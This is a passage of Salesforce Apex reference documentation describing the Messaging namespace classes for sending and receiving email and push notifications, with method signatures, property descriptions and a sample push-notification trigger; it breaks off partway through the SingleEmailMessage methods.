MassEmailMessage Class
Contains methods for sending mass email.
InboundEmail.Header Class
An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following properties.
PushNotification Class
PushNotification is used to configure push notifications and send them from an Apex trigger.
PushNotificationPayload Class
Contains methods to create the notification message payload for an Apple device.
RenderEmailTemplateBodyResult Class
Contains the results for rendering email templates.
RenderEmailTemplateError Class
Represents an error that the RenderEmailTemplateBodyResult object can contain.
SendEmailError Class
Represents an error that the SendEmailResult object may contain.
SendEmailResult Class
Contains the result of sending an email message.
SingleEmailMessage Methods
Contains methods for sending single email messages.
Email Class (Base Email Methods)
Contains base email methods common to both single and mass email.
Namespace
Messaging
1804
Email Class (Base Email Methods)Reference
Usage
Note: If templates are not being used, all email content must be in plain text, HTML, or both.Visualforce email templates cannot
be used for mass email.
Email Methods
The following are methods for Email. All are instance methods.
IN THIS SECTION:
setBccSender(bcc)
Indicates whether the email sender receives a copy of the email that is sent. For a mass mail, the sender is only copied on the first
email sent.
setReplyTo(replyAddress)
Optional. The email address that receives the message when a recipient replies.
setTemplateID(templateId)
The ID of the template to be merged to create this email. You must specify a value for setTemplateId, setHtmlBody, or
setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.
setSaveAsActivity(saveAsActivity)
Optional. The default value is true, meaning the email is saved as an activity. This argument only applies if the recipient list is based
on targetObjectId or targetObjectIds. If HTML email tracking is enabled for the organization, you will be able to track
open rates.
setSenderDisplayName(displayName)
Optional. The name that appears on the From line of the email. This cannot be set if the object associated with a
setOrgWideEmailAddressId for a SingleEmailMessage has defined its DisplayName field.
setUseSignature(useSignature)
Indicates whether the email includes an email signature if the user has one configured. The default is true, meaning if the user
has a signature it is included in the email unless you specify false.
setBccSender(bcc)
Indicates whether the email sender receives a copy of the email that is sent. For a mass mail, the sender is only copied on the first email
sent.
Signature
public Void setBccSender(Boolean bcc)
Parameters
bcc
Type: Boolean
Return Value
Type: Void
1805
Email Class (Base Email Methods)Reference
Usage
Note: If the BCC compliance option is set at the organization level, the user cannot add BCC addresses on standard messages.
The following error code is returned: BCC_NOT_ALLOWED_IF_BCC_ COMPLIANCE_ENABLED. Contact your Salesforce
representative for information on BCC compliance.
setReplyTo(replyAddress)
Optional. The email address that receives the message when a recipient replies.
Signature
public Void setReplyTo(String replyAddress)
Parameters
replyAddress
Type: String
Return Value
Type: Void
setTemplateID(templateId)
The ID of the template to be merged to create this email. You must specify a value for setTemplateId, setHtmlBody, or
setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.
Signature
public Void setTemplateID(ID templateId)
Parameters
templateId
Type: ID
Return Value
Type: Void
Usage
Note: setHtmlBody and setPlainTextBody apply only to single email methods, not to mass email methods.
setSaveAsActivity(saveAsActivity)
Optional. The default value is true, meaning the email is saved as an activity. This argument only applies if the recipient list is based
on targetObjectId or targetObjectIds. If HTML email tracking is enabled for the organization, you will be able to track
open rates.
1806
Email Class (Base Email Methods)Reference
Signature
public Void setSaveAsActivity(Boolean saveAsActivity)
Parameters
saveAsActivity
Type: Boolean
Return Value
Type: Void
setSenderDisplayName(displayName)
Optional. The name that appears on the From line of the email. This cannot be set if the object associated with a
setOrgWideEmailAddressId for a SingleEmailMessage has defined its DisplayName field.
Signature
public Void setSenderDisplayName(String displayName)
Parameters
displayName
Type: String
Return Value
Type: Void
setUseSignature(useSignature)
Indicates whether the email includes an email signature if the user has one configured. The default is true, meaning if the user has a
signature it is included in the email unless you specify false.
Signature
public Void setUseSignature(Boolean useSignature)
Parameters
useSignature
Type: Boolean
Return Value
Type: Void
1807
Email Class (Base Email Methods)Reference
EmailFileAttachment Class
EmailFileAttachment is used in SingleEmailMessage to specify attachments passed in as part of the request, as opposed to existing
documents in Salesforce.
Namespace
Messaging
IN THIS SECTION:
EmailFileAttachment Constructors
EmailFileAttachment Methods
EmailFileAttachment Constructors
The following are constructors for EmailFileAttachment.
IN THIS SECTION:
EmailFileAttachment()
Creates a new instance of the Messaging.EmailFileAttachment class.
EmailFileAttachment()
Creates a new instance of the Messaging.EmailFileAttachment class.
Signature
public EmailFileAttachment()
EmailFileAttachment Methods
The following are methods for EmailFileAttachment. All are instance methods.
IN THIS SECTION:
setBody(attachment)
Sets the attachment itself.
setContentType(contentType)
Sets the attachment's Content-Type.
setFileName(fileName)
Sets the name of the file to attach.
setInline(isInline)
Specifies a Content-Disposition of inline (true) or attachment (false).
1808
EmailFileAttachment ClassReference
setBody(attachment)
Sets the attachment itself.
Signature
public Void setBody(Blob attachment)
Parameters
attachment
Type: Blob
Return Value
Type: Void
setContentType(contentType)
Sets the attachment's Content-Type.
Signature
public Void setContentType(String contentType)
Parameters
contentType
Type: String
Return Value
Type: Void
setFileName(fileName)
Sets the name of the file to attach.
Signature
public Void setFileName(String fileName)
Parameters
fileName
Type: String
Return Value
Type: Void
1809
EmailFileAttachment ClassReference
setInline(isInline)
Specifies a Content-Disposition of inline (true) or attachment (false).
Signature
public Void setInline(Boolean isInline)
Parameters
isInline
Type: Boolean
Return Value
Type: Void
Usage
In most cases, inline content is displayed to the user when the message is opened. Attachment content requires user action to be
displayed.
InboundEmail Class
Represents an inbound email object.
Namespace
Messaging
IN THIS SECTION:
InboundEmail Constructors
InboundEmail Properties
InboundEmail Constructors
The following are constructors for InboundEmail.
IN THIS SECTION:
InboundEmail()
Creates a new instance of the Messaging.InboundEmail class.
InboundEmail()
Creates a new instance of the Messaging.InboundEmail class.
1810
InboundEmail ClassReference
Signature
public InboundEmail()
InboundEmail Properties
The following are properties for InboundEmail.
IN THIS SECTION:
binaryAttachments
A list of binary attachments received with the email, if any.
ccAddresses
A list of carbon copy (CC) addresses, if any.
fromAddress
The email address that appears in the From field.
fromName
The name that appears in the From field, if any.
headers
A list of the RFC 2822 headers in the email.
htmlBody
The HTML version of the email, if specified by the sender.
htmlBodyIsTruncated
Indicates whether the HTML body text is truncated (true) or not (false.)
inReplyTo
The In-Reply-To field of the incoming email. Identifies the email or emails to which this one is a reply (parent emails). Contains the
parent email or emails' message-IDs.
messageId
The Message-ID—the incoming email's unique identifier.
plainTextBody
The plain text version of the email, if specified by the sender.
plainTextBodyIsTruncated
Indicates whether the plain body text is truncated (true) or not (false.)
references
The References field of the incoming email. Identifies an email thread. Contains a list of the parent emails' References and message
IDs, and possibly the In-Reply-To fields.
replyTo
The email address that appears in the reply-to header.
subject
The subject line of the email, if any.
textAttachments
A list of text attachments received with the email, if any.
1811
InboundEmail ClassReference
toAddresses
The email address that appears in the To field.
binaryAttachments
A list of binary attachments received with the email, if any.
Signature
public InboundEmail.BinaryAttachment[] binaryAttachments {get; set;}
Property Value
Type: InboundEmail.BinaryAttachment[]
Usage
Examples of binary attachments include image, audio, application, and video files.
ccAddresses
A list of carbon copy (CC) addresses, if any.
Signature
public String[] ccAddresses {get; set;}
Property Value
Type: String[]
fromAddress
The email address that appears in the From field.
Signature
public String fromAddress {get; set;}
Property Value
Type: String
fromName
The name that appears in the From field, if any.
Signature
public String fromName {get; set;}
1812
InboundEmail ClassReference
Property Value
Type: String
headers
A list of the RFC 2822 headers in the email.
Signature
public InboundEmail.Header[] headers {get; set;}
Property Value
Type: InboundEmail.Header[]
Usage
The list of the RFC 2822 headers includes:
•Recieved from
•Custom headers
•Message-ID
•Date
htmlBody
The HTML version of the email, if specified by the sender.
Signature
public String htmlBody {get; set;}
Property Value
Type: String
htmlBodyIsTruncated
Indicates whether the HTML body text is truncated (true) or not (false.)
Signature
public Boolean htmlBodyIsTruncated {get; set;}
Property Value
Type: Boolean
1813
InboundEmail ClassReference
inReplyTo
The In-Reply-To field of the incoming email. Identifies the email or emails to which this one is a reply (parent emails). Contains the parent
email or emails' message-IDs.
Signature
public String inReplyTo {get; set;}
Property Value
Type: String
messageId
The Message-ID—the incoming email's unique identifier.
Signature
public String messageId {get; set;}
Property Value
Type: String
plainTextBody
The plain text version of the email, if specified by the sender.
Signature
public String plainTextBody {get; set;}
Property Value
Type: String
plainTextBodyIsTruncated
Indicates whether the plain body text is truncated (true) or not (false.)
Signature
public Boolean plainTextBodyIsTruncated {get; set;}
Property Value
Type: Boolean
1814
InboundEmail ClassReference
references
The References field of the incoming email. Identifies an email thread. Contains a list of the parent emails' References and message IDs,
and possibly the In-Reply-To fields.
Signature
public String[] references {get; set;}
Property Value
Type: String[]
replyTo
The email address that appears in the reply-to header.
Signature
public String replyTo {get; set;}
Property Value
Type: String
Usage
If there is no reply-to header, this field is identical to the fromAddress field.
subject
The subject line of the email, if any.
Signature
public String subject {get; set;}
Property Value
Type: String
textAttachments
A list of text attachments received with the email, if any.
Signature
public InboundEmail.TextAttachment[] textAttachments {get; set;}
1815
InboundEmail ClassReference
Property Value
Type: InboundEmail.TextAttachment[]
Usage
The text attachments can be any of the following:
•Attachments with a Multipurpose Internet Mail Extension (MIME) type of text
•Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs
extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.
toAddresses
The email address that appears in the To field.
Signature
public String[] toAddresses {get; set;}
Property Value
Type: String[]
InboundEmail.BinaryAttachment Class
An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object.
Namespace
Messaging
Usage
Examples of binary attachments include image, audio, application, and video files.
IN THIS SECTION:
InboundEmail.BinaryAttachment Constructors
InboundEmail.BinaryAttachment Properties
InboundEmail.BinaryAttachment Constructors
The following are constructors for InboundEmail.BinaryAttachment.
IN THIS SECTION:
InboundEmail.BinaryAttachment()
Creates a new instance of the Messaging.InboundEmail.BinaryAttachment class.
1816
InboundEmail.BinaryAttachment ClassReference
InboundEmail.BinaryAttachment()
Creates a new instance of the Messaging.InboundEmail.BinaryAttachment class.
Signature
public InboundEmail.BinaryAttachment()
InboundEmail.BinaryAttachment Properties
The following are properties for InboundEmail.BinaryAttachment.
IN THIS SECTION:
body
The body of the attachment.
fileName
The name of the attached file.
headers
Any header values associated with the attachment. Examples of header names include Content-Type,
Content-Transfer-Encoding, and Content-ID.
mimeTypeSubType
The primary and sub MIME-type.
body
The body of the attachment.
Signature
public Blob body {get; set;}
Property Value
Type: Blob
fileName
The name of the attached file.
Signature
public String fileName {get; set;}
Property Value
Type: String
1817
InboundEmail.BinaryAttachment ClassReference
headers
Any header values associated with the attachment. Examples of header names include Content-Type,
Content-Transfer-Encoding, and Content-ID.
Signature
public List<Messaging.InboundEmail.Header> headers {get; set;}
Property Value
Type: List<Messaging.InboundEmail.Header>
mimeTypeSubType
The primary and sub MIME-type.
Signature
public String mimeTypeSubType {get; set;}
Property Value
Type: String
InboundEmail.TextAttachment Class
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.
Namespace
Messaging
Usage
The text attachments can be any of the following:
•Attachments with a Multipurpose Internet Mail Extension (MIME) type of text
•Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs
extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.
IN THIS SECTION:
InboundEmail.TextAttachment Constructors
InboundEmail.TextAttachment Properties
InboundEmail.TextAttachment Constructors
The following are constructors for InboundEmail.TextAttachment.
1818
InboundEmail.TextAttachment ClassReference
IN THIS SECTION:
InboundEmail.TextAttachment()
Creates a new instance of the Messaging.InboundEmail.TextAttachment class.
InboundEmail.TextAttachment()
Creates a new instance of the Messaging.InboundEmail.TextAttachment class.
Signature
public InboundEmail.TextAttachment()
InboundEmail.TextAttachment Properties
The following are properties for InboundEmail.TextAttachment.
IN THIS SECTION:
body
The body of the attachment.
bodyIsTruncated
Indicates whether the attachment body text is truncated (true) or not (false.)
charset
The original character set of the body field. The body is re-encoded as UTF-8 as input to the Apex method.
fileName
The name of the attached file.
headers
Any header values associated with the attachment. Examples of header names include Content-Type,
Content-Transfer-Encoding, and Content-ID.
mimeTypeSubType
The primary and sub MIME-type.
body
The body of the attachment.
Signature
public String body {get; set;}
Property Value
Type: String
bodyIsTruncated
Indicates whether the attachment body text is truncated (true) or not (false.)
1819
InboundEmail.TextAttachment ClassReference
Signature
public Boolean bodyIsTruncated {get; set;}
Property Value
Type: Boolean
charset
The original character set of the body field. The body is re-encoded as UTF-8 as input to the Apex method.
Signature
public String charset {get; set;}
Property Value
Type: String
fileName
The name of the attached file.
Signature
public String fileName {get; set;}
Property Value
Type: String
headers
Any header values associated with the attachment. Examples of header names include Content-Type,
Content-Transfer-Encoding, and Content-ID.
Signature
public List<Messaging.InboundEmail.Header> headers {get; set;}
Property Value
Type: List<Messaging.InboundEmail.Header>
mimeTypeSubType
The primary and sub MIME-type.
1820
InboundEmail.TextAttachment ClassReference
Signature
public String mimeTypeSubType {get; set;}
Property Value
Type: String
InboundEmailResult Class
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to be successful.
Namespace
Messaging
InboundEmailResult Properties
The following are properties for InboundEmailResult.
IN THIS SECTION:
message
A message that Salesforce returns in the body of a reply email. This field can be populated with text irrespective of the value returned
by the Success field.
success
A value that indicates whether the email was successfully processed.
message
A message that Salesforce returns in the body of a reply email. This field can be populated with text irrespective of the value returned
by the Success field.
Signature
public String message {get; set;}
Property Value
Type: String
success
A value that indicates whether the email was successfully processed.
Signature
public Boolean success {get; set;}
1821
InboundEmailResult ClassReference
Property Value
Type: Boolean
Usage
If false, Salesforce rejects the inbound email and sends a reply email to the original sender containing the message specified in the
Message field.
InboundEnvelope Class
The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields.
Namespace
Messaging
InboundEnvelope Properties
The following are properties for InboundEnvelope.
IN THIS SECTION:
fromAddress
The name that appears in the From field of the envelope, if any.
toAddress
The name that appears in the To field of the envelope, if any.
fromAddress
The name that appears in the From field of the envelope, if any.
Signature
public String fromAddress {get; set;}
Property Value
Type: String
toAddress
The name that appears in the To field of the envelope, if any.
Signature
public String toAddress {get; set;}
1822
InboundEnvelope ClassReference
Property Value
Type: String
MassEmailMessage Class
Contains methods for sending mass email.
Namespace
Messaging
Usage
All base email (Email class) methods are also available to the MassEmailMessage objects.
IN THIS SECTION:
MassEmailMessage Constructors
MassEmailMessage Methods
SEE ALSO:
Email Class (Base Email Methods)
MassEmailMessage Constructors
The following are constructors for MassEmailMessage.
IN THIS SECTION:
MassEmailMessage()
Creates a new instance of the Messaging.MassEmailMessage class.
MassEmailMessage()
Creates a new instance of the Messaging.MassEmailMessage class.
Signature
public MassEmailMessage()
MassEmailMessage Methods
The following are methods for MassEmailMessage. All are instance methods.
IN THIS SECTION:
setDescription(description)
The description of the email.
1823
MassEmailMessage ClassReference
setTargetObjectIds(targetObjectIds)
A list of IDs of the contacts, leads, or users to which the email will be sent. The IDs you specify set the context and ensure that merge
fields in the template contain the correct data. The objects must be of the same type (all contacts, all leads, or all users).
setWhatIds(whatIds)
Optional. If you specify a list of contacts for the targetObjectIds field, you can specify a list of whatIds as well. This helps
to further ensure that merge fields in the template contain the correct data.
setDescription(description)
The description of the email.
Signature
public Void setDescription(String description)
Parameters
description
Type: String
Return Value
Type: Void
setTargetObjectIds(targetObjectIds)
A list of IDs of the contacts, leads, or users to which the email will be sent. The IDs you specify set the context and ensure that merge
fields in the template contain the correct data. The objects must be of the same type (all contacts, all leads, or all users).
Signature
public Void setTargetObjectIds(ID[] targetObjectIds)
Parameters
targetObjectIds
Type: ID[]
Return Value
Type: Void
Usage
You can list up to 250 IDs per email. If you specify a value for the targetObjectIds field, optionally specify a whatId as well to
set the email context to a user, contact, or lead. This ensures that merge fields in the template contain the correct data.
Do not specify the IDs of records that have the Email Opt Out option selected.
All emails must have a recipient value in at least one of the following fields:
•toAddresses
1824
MassEmailMessage ClassReference
•ccAddresses
•bccAddresses
•targetObjectId
setWhatIds(whatIds)
Optional. If you specify a list of contacts for the targetObjectIds field, you can specify a list of whatIds as well. This helps to
further ensure that merge fields in the template contain the correct data.
Signature
public Void setWhatIds(ID[] whatIds)
Parameters
whatIds
Type: ID[]
Return Value
Type: Void
Usage
The values must be one of the following types:
•Contract
•Case
•Opportunity
•Product
Note: If you specify whatIds, specify one for each targetObjectId; otherwise, you will receive an INVALID_ID_FIELD
error.
InboundEmail.Header Class
An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following properties.
Namespace
Messaging
InboundEmail.Header Properties
The following are properties for InboundEmail.Header.
1825
InboundEmail.Header ClassReference
IN THIS SECTION:
name
The name of the header parameter, such as Date or Message-ID.
value
The value of the header.
name
The name of the header parameter, such as Date or Message-ID.
Signature
public String name {get; set;}
Property Value
Type: String
value
The value of the header.
Signature
public String value {get; set;}
Property Value
Type: String
PushNotification Class
PushNotification is used to configure push notifications and send them from an Apex trigger.
Namespace
Messaging
Example
This sample Apex trigger sends push notifications to the connected app named Test_App, which corresponds to a mobile app on
iOS mobile clients. The trigger fires after cases have been updated and sends the push notification to two users: the case owner and the
user who last modified the case.
trigger caseAlert on Case (after update) {
for(Case cs : Trigger.New)
{
// Instantiating a notification
1826
PushNotification ClassReference
Messaging.PushNotification msg =
new Messaging.PushNotification();
// Assembling the necessary payload parameters for Apple.
// Apple params are:
// (<alert text>,<alert sound>,<badge count>,
// <free-form data>)
// This example doesn't use badge count or free-form data.
// The number of notifications that haven't been acted
// upon by the intended recipient is best calculated
// at the time of the push. This timing helps
// ensure accuracy across multiple target devices.
Map<String,Object> payload =
Messaging.PushNotificationPayload.apple(
'Case ' + cs.CaseNumber + ' status changed to: '
+ cs.Status, '',null,null);
// Adding the assembled payload to the notification
msg.setPayload(payload);
// Getting recipient users
String userId1 = cs.OwnerId;
String userId2 = cs.LastModifiedById;
// Adding recipient users to list
Set<String> users = new Set<String>();
users.add(userId1);
users.add(userId2);
// Sending the notification to the specified app and users.
// Here we specify the API name of the connected app.
msg.send('Test_App', users);
}
}
IN THIS SECTION:
PushNotification Constructors
PushNotification Methods
PushNotification Constructors
The following are the constructors for PushNotification.
IN THIS SECTION:
PushNotification()
Creates a new instance of the Messaging.PushNotification class.
PushNotification(payload)
Creates a new instance of the Messaging.PushNotification class using the specified payload parameters as key-value
pairs. When you use this constructor, you don’t need to call setPayload to set the payload.
1827
PushNotification ClassReference
PushNotification()
Creates a new instance of the Messaging.PushNotification class.
Signature
public PushNotification()
PushNotification(payload)
Creates a new instance of the Messaging.PushNotification class using the specified payload parameters as key-value pairs.
When you use this constructor, you don’t need to call setPayload to set the payload.
Signature
public PushNotification(Map<String,Object>payload)
Parameters
payload
Type:Map<String, Object>
The payload, expressed as a map of key-value pairs.
PushNotification Methods
The following are the methods for PushNotification. All are global methods.
IN THIS SECTION:
send(application, users)
Sends a push notification message to the specified users.
setPayload(payload)
Sets the payload of the push notification message.
setTtl(ttl)
Reserved for future use.
send(application, users)
Sends a push notification message to the specified users.
Signature
public void send(String application, Set<String> users)
Parameters
application
Type: String
1828
PushNotification ClassReference
The connected app API name. This corresponds to the mobile client app the notification should be sent to.
users
Type: Set
A set of user IDs that correspond to the users the notification should be sent to.
Example
See the Push Notification Example.
setPayload(payload)
Sets the payload of the push notification message.
Signature
public void setPayload(Map<String,Object> payload)
Parameters
payload
Type: Map<String, Object>
The payload, expressed as a map of key-value pairs.
Payload parameters can be different for each mobile OS vendor. For more information on Apple’s payload parameters, search for
“Apple Push Notification Service” at https://developer.apple.com/library/mac/documentation/.
To create the payload for an Apple device, see the PushNotificationPayload Class.
Example
See the Push Notification Example.
setTtl(ttl)
Reserved for future use.
Signature
public void setTtl(Integer ttl)
Parameters
ttl
Type: Integer
Reserved for future use.
PushNotificationPayload Class
Contains methods to create the notification message payload for an Apple device.
1829
PushNotificationPayload ClassReference
Namespace
Messaging
Usage
Apple has specific requirements for the notification payload. and this class has helper methods to create the payload. For more information
on Apple’s payload parameters, search for “Apple Push Notification Service” at https://developer.apple.com/library/mac/documentation/.
Example
See the Push Notification Example.
IN THIS SECTION:
PushNotificationPayload Methods
PushNotificationPayload Methods
The following are the methods for PushNotificationPayload. All are global static methods.
IN THIS SECTION:
apple(alert, sound, badgeCount, userData)
Helper method that creates a valid Apple payload from the specified arguments.
apple(alertBody, actionLocKey, locKey, locArgs, launchImage, sound, badgeCount, userData)
Helper method that creates a valid Apple payload from the specified arguments.
apple(alert, sound, badgeCount, userData)
Helper method that creates a valid Apple payload from the specified arguments.
Signature
public static Map<String,Object> apple(String alert, String sound, Integer badgeCount,
Map<String,Object> userData)
Parameters
alert
Type: String
Notification message to be sent to the mobile client.
sound
Type: String
Name of a sound file to be played as an alert. This sound file should be in the mobile application bundle.
badgeCount
Type: Integer
Number to display as the badge of the application icon.
1830
PushNotificationPayload ClassReference
userData
Type: Map<String, Object>
Map of key-value pairs that contains any additional data used to provide context for the notification. For example, it can contain IDs
of the records that caused the notification to be sent. The mobile client app can use these IDs to display these records.
Return Value
Type:Map<String, Object>
Returns a formatted payload that includes all of the specified arguments.
Usage
To generate a valid payload, you must provide a value for at least one of the following parameters: alert, sound, badgeCount.
Example
See the Push Notification Example.
apple(alertBody, actionLocKey, locKey, locArgs, launchImage, sound,
badgeCount, userData)
Helper method that creates a valid Apple payload from the specified arguments.
Signature
public static Map<String,Object> apple(String alertBody, String actionLocKey, String
locKey, String[] locArgs, String launchImage, String sound, Integer badgeCount,
Map<String,Object> userData)
Parameters
alertBody
Type: String
Text of the alert message.
actionLocKey
Type: String
If a value is specified for the actionLocKey argument, an alert with two buttons is displayed. The value is a key to get a localized
string in a Localizable.strings file to use for the right button’s title.
locKey
Type: String
Key to an alert-message string in a Localizable.strings file for the current localization.
locArgs
Type: List<String>
Variable string values to appear in place of the format specifiers in locKey.
launchImage
Type: String
1831
PushNotificationPayload ClassReference
File name of an image file in the application bundle.
sound
Type: String
Name of a sound file to be played as an alert. This sound file should be in the mobile application bundle.
badgeCount
Type: Integer
Number to display as the badge of the application icon.
userData
Type: Map<String, Object>
Map of key-value pairs that contains any additional data used to provide context for the notification. For example, it can contain IDs
of the records that caused the notification to be sent. The mobile client app can use these IDs to display these records.
Return Value
Type: Map<String, Object>
Returns a formatted payload that includes all of the specified arguments.
Usage
To generate a valid payload, you must provide a value for at least one of the following parameters: alert, sound, badgeCount.
RenderEmailTemplateBodyResult Class
Contains the results for rendering email templates.
Namespace
Messaging
IN THIS SECTION:
RenderEmailTemplateBodyResult Methods
RenderEmailTemplateBodyResult Methods
The following are methods for RenderEmailTemplateBodyResult.
IN THIS SECTION:
getErrors()
If an error occurred during the renderEmailTemplate method, a RenderEmailTemplateError object is returned.
getMergedBody()
Returns the rendered body text with merge field references replaced with the corresponding record data.
getSuccess()
Indicates whether the operation was successful.
1832
RenderEmailTemplateBodyResult ClassReference
getErrors()
If an error occurred during the renderEmailTemplate method, a RenderEmailTemplateError object is returned.
Signature
public List<Messaging.RenderEmailTemplateError> getErrors()
Return Value
Type: List<Messaging.RenderEmailTemplateError>
getMergedBody()
Returns the rendered body text with merge field references replaced with the corresponding record data.
Signature
public String getMergedBody()
Return Value
Type: String
getSuccess()
Indicates whether the operation was successful.
Signature
public Boolean getSuccess()
Return Value
Type: Boolean
RenderEmailTemplateError Class
Represents an error that the RenderEmailTemplateBodyResult object can contain.
Namespace
Messaging
IN THIS SECTION:
RenderEmailTemplateError Methods
1833
RenderEmailTemplateError ClassReference
RenderEmailTemplateError Methods
The following are methods for RenderEmailTemplateError.
IN THIS SECTION:
getFieldName()
Returns the name of the merge field in the error.
getMessage()
Returns a message describing the error.
getOffset()
Returns the offset within the supplied body text where the error was discovered. If the offset cannot be determined, -1 is returned.
getStatusCode()
Returns a Salesforce API status code.
getFieldName()
Returns the name of the merge field in the error.
Signature
public String getFieldName()
Return Value
Type: String
getMessage()
Returns a message describing the error.
Signature
public String getMessage()
Return Value
Type: String
getOffset()
Returns the offset within the supplied body text where the error was discovered. If the offset cannot be determined, -1 is returned.
Signature
public Integer getOffset()
1834
RenderEmailTemplateError ClassReference
Return Value
Type: Integer
getStatusCode()
Returns a Salesforce API status code.
Signature
public System.StatusCode getStatusCode()
Return Value
Type: System.StatusCode
SendEmailError Class
Represents an error that the SendEmailResult object may contain.
Namespace
Messaging
SendEmailError Methods
The following are methods for SendEmailError. All are instance methods.
IN THIS SECTION:
getFields()
A list of one or more field names. Identifies which fields in the object, if any, affected the error condition.
getMessage()
The text of the error message.
getStatusCode()
Returns a code that characterizes the error.
getTargetObjectId()
The ID of the target record for which the error occurred.
getFields()
A list of one or more field names. Identifies which fields in the object, if any, affected the error condition.
Signature
public String[] getFields()
1835
SendEmailError ClassReference
Return Value
Type: String[]
getMessage()
The text of the error message.
Signature
public String getMessage()
Return Value
Type: String
getStatusCode()
Returns a code that characterizes the error.
Signature
public System.StatusCode getStatusCode()
Return Value
Type: System.StatusCode
Usage
The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file for
your organization, see “Downloading Salesforce WSDLs and Client Authentication Certificates” in the Salesforce online help.
getTargetObjectId()
The ID of the target record for which the error occurred.
Signature
public String getTargetObjectId()
Return Value
Type: String
SendEmailResult Class
Contains the result of sending an email message.
1836
SendEmailResult ClassReference
Namespace
Messaging
SendEmailResult Methods
The following are methods for SendEmailResult. All are instance methods.
IN THIS SECTION:
getErrors()
If an error occurred during the sendEmail method, a SendEmailError object is returned.
isSuccess()
Indicates whether the email was successfully submitted for delivery (true) or not (false). Even if isSuccess is true, it does
not mean the intended recipients received the email, as there could have been a problem with the email address or it could have
bounced or been blocked by a spam blocker.
getErrors()
If an error occurred during the sendEmail method, a SendEmailError object is returned.
Signature
public SendEmailError[] getErrors()
Return Value
Type: Messaging.SendEmailError[]
isSuccess()
Indicates whether the email was successfully submitted for delivery (true) or not (false). Even if isSuccess is true, it does not
mean the intended recipients received the email, as there could have been a problem with the email address or it could have bounced
or been blocked by a spam blocker.
Signature
public Boolean isSuccess()
Return Value
Type: Boolean
SingleEmailMessage Methods
Contains methods for sending single email messages.
1837
SingleEmailMessage MethodsReference
Namespace
Messaging
Usage
All base email (Email class) methods are also available to the SingleEmailMessage objects.
Email properties are readable and writable. Each property has corresponding setter and getter methods. For example, the
toAddresses() property is equivalent to the setToAddresses() and getToAddresses() methods. Only the setter
methods are documented.
IN THIS SECTION:
SingleEmailMessage Constructors
SingleEmailMessage Methods
SEE ALSO:
Email Class (Base Email Methods)
SingleEmailMessage Constructors
The following are constructors for SingleEmailMessage.
IN THIS SECTION:
SingleEmailMessage()
Creates a new instance of the Messaging.SingleEmailMessage class.
SingleEmailMessage()
Creates a new instance of the Messaging.SingleEmailMessage class.
Signature
public SingleEmailMessage()
SingleEmailMessage Methods
The following are methods for SingleEmailMessage. All are instance methods.
IN THIS SECTION:
setBccAddresses(bccAddresses)
Optional. A list of blind carbon copy (BCC) addresses or object IDs of the contacts, leads, and users you’re sending the email to. The
maximum allowed is 25.
setCcAddresses(ccAddresses)
Optional. A list of carbon copy (CC) addresses or object IDs of the contacts, leads, and users you’re sending the email to. The maximum
allowed is 25.
1838
SingleEmailMessage MethodsReference
setCharset(characterSet)
Optional. The character set for the email. If this value is null, the user's default value is used.
setDocumentAttachments(documentIds)
(Deprecated. Use setEntityAttachments() instead.) Optional. A list containing the ID of each document object you
want to attach to the email.
setEntityAttachments(ids)
Optional. Array of IDs of Document or ContentVersion items to attach to the email.
setFileAttachments(fileNames)
Optional. A list containing the file names of the binary and text files you want to attach to the email.
setHtmlBody(htmlBody)
Optional. The HTML version of the email, specified by the sender. The value is encoded according to the specification associated
with the organization. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you
can define both setHtmlBody and setPlainTextBody.
setInReplyTo(parentMessageIds)
Sets the optional In-Reply-To field of the outgoing email. This field identifies the email or emails to which this email is a reply (parent
emails).
setOptOutPolicy(emailOptOutPolicy)
Optional. If you added recipients by ID instead of email address and the Email Opt Out option is set, this method determines
the behavior of the sendEmail() call. If you add recipients by their email addresses, the opt-out settings for those recipients
aren’t checked and those recipients always receive the email.
setPlainTextBody(plainTextBody)
Optional. The text version of the email, specified by the sender. You must specify a value for setTemplateId, setHtmlBody,
or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.
setOrgWideEmailAddressId(emailAddressId)
Optional. The ID of the organization-wide email address associated with the outgoing email. The object's DisplayName field
cannot be set if the setSenderDisplayName field is already set.
setReferences(references)
Optional. The References field of the outgoing email. Identifies an email thread. Contains the parent emails' References and message
IDs, and possibly the In-Reply-To fields.
setSubject(subject)
Optional. The email subject line. If you are using an email template, the subject line of the template overrides this value.
setTargetObjectId(targetObjectId)
Required if using a template, optional otherwise. The ID of the contact, lead, or user to which the email will be sent. The ID you
specify sets the context and ensures that merge fields in the template contain the correct data.
setTemplateId(templateId)
Required if using a template, optional otherwise. The ID of the template used to create the email.
setToAddresses(toAddresses)
Optional. A list of email addresses or object IDs of the contacts, leads, and users you’re sending the email to. The maximum number
of email addresses allowed is 100.
setTreatBodiesAsTemplate(treatAsTemplate)
Optional. If set to true, the subject, plain text, and HTML text bodies of the email are treated as template data.
1839
SingleEmailMessage MethodsReference
setTreatTargetObjectAsRecipient(treatAsRecipient)
Optional. If set to true, the targetObjectId (a contact, lead, or user) is the recipient of the email. If set to false, the
targetObjectId is supplied as the WhoId field for template rendering but isn’t a recipient of the email. The default is true.
setWhatId(whatId)
If you specify a contact for the targetObjectId field, you can specify an optional whatId as well. This helps to further ensure
that merge fields in the template contain the correct data.
setBccAddresses(bccAddresses)
Optional. A list of blind carbon copy (BCC) addresses or object IDs of the contacts, leads, and users you’re sending the email to. The
maximum allowed is 25.
Signature
public Void setBccAddresses(String[] bccAddresses)
Parameters
bccAddresses
Type: String[]
Return Value
Type: Void
Usage
All emails must have a recipient value in at least one of the following fields:
•toAddresses
•ccAddresses
•bccAddresses
•targetObjectId
If the BCC compliance option is set at the organization level, the user cannot add BCC addresses on standard messages. The following
